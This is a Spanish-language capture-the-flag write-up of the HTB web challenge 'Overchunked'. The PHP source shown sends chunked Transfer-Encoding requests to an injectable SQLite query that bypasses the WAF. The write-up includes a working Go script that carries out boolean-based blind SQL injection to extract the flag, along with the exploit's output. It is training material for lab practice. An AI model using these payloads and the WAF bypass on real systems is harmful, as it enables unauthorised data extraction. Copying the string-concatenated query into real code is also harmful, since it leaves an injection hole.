0xBOverchunked
5 minutos de lectura
Se nos proporciona esta página web:
Esta página web nos permite buscar algunos juegos por ID:
Análisis del código fuente
También se nos proporciona el código fuente en PHP del servidor. De acuerdo a db/init.sql
, debemos leer el contenido del ID 6 para obtener la flag, pero no podemos hacerlo directamente:
CREATE TABLE posts (
id INTEGER PRIMARY KEY,
gamename TEXT NOT NULL,
gamedesc TEXT NOT NULL,
image BLOB NOT NULL
);
INSERT INTO posts (gamename, gamedesc, image)
VALUES
('Pikachu', 'A small, yellow, mouse-like creature with a lightning bolt-shaped tail. Pikachu is one of the most popular and recognizable characters from the Pokemon franchise.', '1.png'),
('Pac-Man', 'Pac-Man is a classic arcade game where you control a yellow character and navigate through a maze, eating dots and avoiding ghosts.', '2.png'),
('Sonic', 'He is a blue anthropomorphic hedgehog who is known for his incredible speed and his ability to run faster than the speed of sound.', '3.png'),
('Super Mario', 'Its me, Mario, an Italian plumber who must save Princess Toadstool from the evil Bowser.', '4.png'),
('Donkey Kong', 'Donkey Kong is known for his incredible strength, agility, and his ability to swing from vines and barrels.', '5.png'),
('Flag', 'HTB{f4k3_fl4_f0r_t35t1ng}', '6.png');
Este es el código del controlador:
<?php
require_once '../Database/Cursor.php';
require_once '../WAF/waf.php';
if (isset($_SERVER["HTTP_TRANSFER_ENCODING"]) && $_SERVER["HTTP_TRANSFER_ENCODING"] == "chunked")
{
$search = $_POST['search'];
$result = unsafequery($pdo, $search);
if ($result)
{
echo "<div class='results'>No post id found.</div>";
}
else
{
http_response_code(500);
echo "Internal Server Error";
exit();
}
}
else
{
if ((isset($_POST["search"])))
{
$search = $_POST["search"];
if (waf_sql_injection($search))
{
$result = safequery($pdo, $search);
if ($result)
{
echo '
<div class="grid-container">
<div class="grid-item">
<img class="post-logo" src="../../assets/images/posts/' . $result["image"] . '" width="100">
</div>
<div class="grid-item">
<p><font color="#F44336">Name</font>: ' . $result["gamename"] . '</p>
<p><font color="#F44336">Description</font>: ' . $result["gamedesc"] . '</p>
</div>
</div>';
}
else
{
echo "<div class='results'>No post id found.</div>";
}
}
else
{
echo "<div class='results'>SQL Injection attempt identified and prevented by WAF!</div>";
}
}
else
{
echo "<div class='results'>Unsupported method!</div>";
http_response_code(400);
}
}
?>
Como se puede ver, hay una distinción si usamos Transfer-Encoding: chunked
. Con esta configuración, podemos decirle al servidor que use unsafequery
en lugar de safequery
, y también para evitar waf_sql_injection
:
<?php
require_once 'Connect.php';
function safequery($pdo, $id)
{
if ($id == 6)
{
die("You are not allowed to view this post!");
}
$stmt = $pdo->prepare("SELECT id, gamename, gamedesc, image FROM posts WHERE id = ?");
$stmt->execute([$id]);
$result = $stmt->fetch(PDO::FETCH_ASSOC);
return $result;
}
function unsafequery($pdo, $id)
{
try
{
$stmt = $pdo->query("SELECT id, gamename, gamedesc, image FROM posts WHERE id = '$id'");
$result = $stmt->fetch(PDO::FETCH_ASSOC);
return $result;
}
catch(Exception $e)
{
http_response_code(500);
echo "Internal Server Error";
exit();
}
}
?>
Como se esperaba, safequery
utiliza prepared statements, por lo que no es posible utilizar inyección SQL (de hecho, el WAF es inútil). Por otro lado, unsafequery
sí que es vulnerable a inyección de código SQL.
Por lo tanto, debemos decirle al servidor que use unsafequery
, es decir, necesitamos usar Transfer-Encoding: chunked
. Sin embargo, todavía hay algo que considerar. Veamos de nuevo el código de SearchHandler.php
:
if (isset($_SERVER["HTTP_TRANSFER_ENCODING"]) && $_SERVER["HTTP_TRANSFER_ENCODING"] == "chunked")
{
$search = $_POST['search'];
$result = unsafequery($pdo, $search);
if ($result)
{
echo "<div class='results'>No post id found.</div>";
}
else
{
http_response_code(500);
echo "Internal Server Error";
exit();
}
}
Oráculo
Podemos acceder al ID 6, ¡pero el resultado de la consulta no se muestra! En cambio, tenemos una especie de oráculo, porque podemos ver si la consulta fue exitosa (No post id found
) o no (Internal Server Error
):
Nótese cómo se realiza una petición con Transfer-Encoding: chunked
. Necesitamos poner el tamaño del fragmento en formato hexadecimal y terminar con un 0
. También debemos tener cuidado con los caracteres \r\n
, fo más información, eche un vistazo a Transfer-Encoding.
Solución
Una vez que hemos definido el oráculo, solo necesitamos usar Boolean-based SQLi para extraer los caracteres de la flag de uno en uno. Esta vez, el servidor usa SQLite, por lo que podemos encontrar algunos payloads en PayloadsAllTheThings.
Implementación
Decidí usar Go para implementar el exploit de Boolean-based SQLi, porque podemos usar threads y ir más rápido.
Esta es la función oracle
, que simplemente usa Transfer-Encoding: chunked
y analiza el código de estado de respuesta para determinar si la consulta fue exitosa o no:
func oracle(reqBody string) bool {
guard <- struct{}{}
req, _ := http.NewRequest("POST", baseUrl+"/Controllers/Handlers/SearchHandler.php", bytes.NewBuffer([]byte(reqBody)))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.TransferEncoding = []string{"chunked"}
res, err := (&http.Client{}).Do(req)
if err != nil {
<-guard
return false
}
defer res.Body.Close()
<-guard
return res.StatusCode == 200
}
A continuación, definí dos funciones para extraer la longitud de la flag y sus caracteres:
func testLength(length int) bool {
return oracle(fmt.Sprintf("search=6' AND LENGTH(gamedesc) = %d-- -", length))
}
func testFlagCharacter(character byte, index int) bool {
return oracle(fmt.Sprintf("search=6' AND SUBSTR(gamedesc, %d, 1) = '%c", index, character))
}
Finalmente, tenemos la función main
, que llama a las anteriores probando distintos números y caracteres hasta dar con los valores correctos:
func main() {
baseUrl = "http://" + os.Args[1]
chars := "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$@_"
length := 1
for !testLength(length) {
length++
}
flag := make([]byte, length)
flag[0] = 'H'
flag[1] = 'T'
flag[2] = 'B'
flag[3] = '{'
flag[length-1] = '}'
for _, r := range chars {
for i := 0; i < length; i++ {
wg.Add(1)
go func(b byte, index int) {
defer wg.Done()
if flag[index] == 0 && testFlagCharacter(b, index+1) {
flag[index] = b
}
}(byte(r), i)
}
}
wg.Wait()
fmt.Println(string(flag))
}
Flag
Si ejecutamos el script, obtendremos la flag en cuestión de segundos:
$ go run solve.go 83.136.251.211:51066
HTB{tr4nsf3r_3Nc0d1Ng_4t_1ts_f1n3st}
El script completo se puede encontrar aquí: solve.go
.